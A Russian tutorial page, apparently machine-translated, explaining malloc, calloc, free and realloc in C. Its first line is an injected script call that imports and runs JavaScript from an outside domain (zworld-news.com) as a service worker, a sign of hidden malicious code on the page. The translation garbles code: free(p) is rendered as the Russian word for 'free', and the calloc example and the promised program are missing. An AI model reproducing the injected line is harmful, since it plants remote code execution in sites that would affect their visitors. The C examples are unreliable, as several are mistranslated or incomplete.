google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Динамическое распределение памяти в C

При программировании мы можем столкнуться с ситуацией, когда количество элементов данных продолжает изменяться во время выполнения программы. Например, мы создали программу, которая хранит данные о сотрудниках компании. Список сотрудников постоянно меняется с приходом новых сотрудников или уходом старых сотрудников из компании. Когда этот список увеличивается, нам нужно больше памяти для хранения информации о новых сотрудниках. Точно так же, когда кто-то из сотрудников уходит, нам нужно освободить память, чтобы ее можно было использовать для хранения другой информации. Такое условие может эффективно управляться с помощью концепции динамического распределения памяти.

Динамическое распределение памяти в C

Процесс выделения памяти во время выполнения известен как динамическое выделение памяти. В Си это делается с использованием четырех функций управления памятью, которые приведены ниже. В этом уроке мы обсудим их один за другим в деталях.
1. malloc () 
2. calloc () 
3. free () 
4. realloc ()
Примечание:  файл заголовка, используемый для этих четырех функций, является stdlib.h.
На изображении ниже вы можете видеть, что между локальными переменными и областью глобальных переменных есть свободное пространство. Это свободное пространство называется кучей и используется для динамического выделения памяти.
Динамическое распределение памяти в C
Программа хранения C - источник изображения

malloc () в C

Блок памяти может быть выделен с помощью функции malloc (). Каждый выделенный байт содержит значение мусора. Проверьте его синтаксис ниже.
Синтаксис
pointer_name = (caste_type *) malloc (size_in_bytes);
Пример
p = (int *) malloc (100 * sizeof (int));
Вышеуказанный оператор выделит пространство памяти в 100 раз больше размера типа данных int. Это означает, что если целое число занимает 2 байта, то будет выделено 200 байтов. Здесь sizeof () - это оператор, который даст размер типа данных int. Функция malloc () вернет адрес первого байта выделенной памяти, и этот адрес будет сохранен в указателе p.
Давайте возьмем еще один пример.
p = (char *) malloc (10);
Это выделит 10 байтов памяти, в которой могут храниться только значения типов символов.
malloc () выделяет блок смежных байтов. Если он не может найти пространство указанного размера в куче, он вернет NULL. Рекомендуется проверить переменную указателя, чтобы убедиться, что выделение памяти прошло успешно.

calloc () в C

Он используется для выделения нескольких блоков памяти одинакового размера. Каждый байт автоматически обнуляется. Эта функция обычно используется для выделения памяти для производных типов данных, таких как массивы и структуры.
Синтаксис
pointer_name = (cast_type *) calloc (n, size_in-bytes);
пример
Это позволит выделить 5 блоков памяти одинакового размера, которые могут хранить пять записей структуры ученика. Если calloc () не может найти указанное пространство памяти, он вернет NULL.

бесплатно () в C

Когда мы распределяем память динамически, мы несем ответственность за освобождение памяти, когда она больше не используется, чтобы ее можно было использовать для хранения некоторой другой информации. В Си это можно сделать с помощью функции free ().
Синтаксис
свободный (указатель_имя);
Пример
свободный (р);
Здесь p - переменная указателя, которая содержит адрес первого байта блока памяти, выделенного функцией malloc () или calloc ().

realloc () в C

Для динамического изменения размера памяти мы используем функцию realloc (). Мы можем столкнуться с условием, что ранее выделенной памяти недостаточно для хранения данных и требуется больше места. Или мы выделили пространство памяти больше, чем нужно. В этих случаях мы можем легко изменить размер выделенной памяти, используя realloc ().
Синтаксис 
указатель_имя = realloc (указатель_имя, новый_размер);
Пример
p = malloc (10); 
p = realloc (p, 20);
realloc () выделяет новый блок памяти и копирует данные, присутствующие в предыдущем выделенном блоке, в новый блок. Ранее выделенный блок памяти автоматически освобождается. Он также возвращает NULL, если не удается найти указанное пространство памяти в куче.
Давайте сделаем одну программу, чтобы понять использование всех этих функций управления памятью в C.

Выход
Динамическое распределение памяти в C - Выход
Объяснение
1. В приведенной выше программе я сначала выделяю пространство памяти для хранения трех целочисленных значений с помощью функции malloc (). Вы можете ясно видеть, что я проверяю указатель p перед использованием, чтобы убедиться, что выделение памяти прошло успешно.
2. После этого я взял три целочисленных значения, а затем сохранил их в памяти и отобразил их.
3. Теперь я изменяю объем памяти, который я выделил ранее. Я изменяю объем памяти с помощью функции realloc (), чтобы я мог сохранить еще два целых значения.
4. После прочтения еще двух значений я снова отображаю все значения. Вы можете видеть, что три значения, которые я сохранил ранее, остаются без изменений.
5. Наконец я освободил память, используя функцию free ().
Так что это все о динамическом распределении памяти в C. Если вы обнаружите, что что-то отсутствует или неверно в предыдущем уроке, пожалуйста, сообщите мне Не стесняйтесь спрашивать, если у вас есть какие-либо сомнения относительно вышеупомянутого учебника.

Комментариев нет:

Отправить комментарий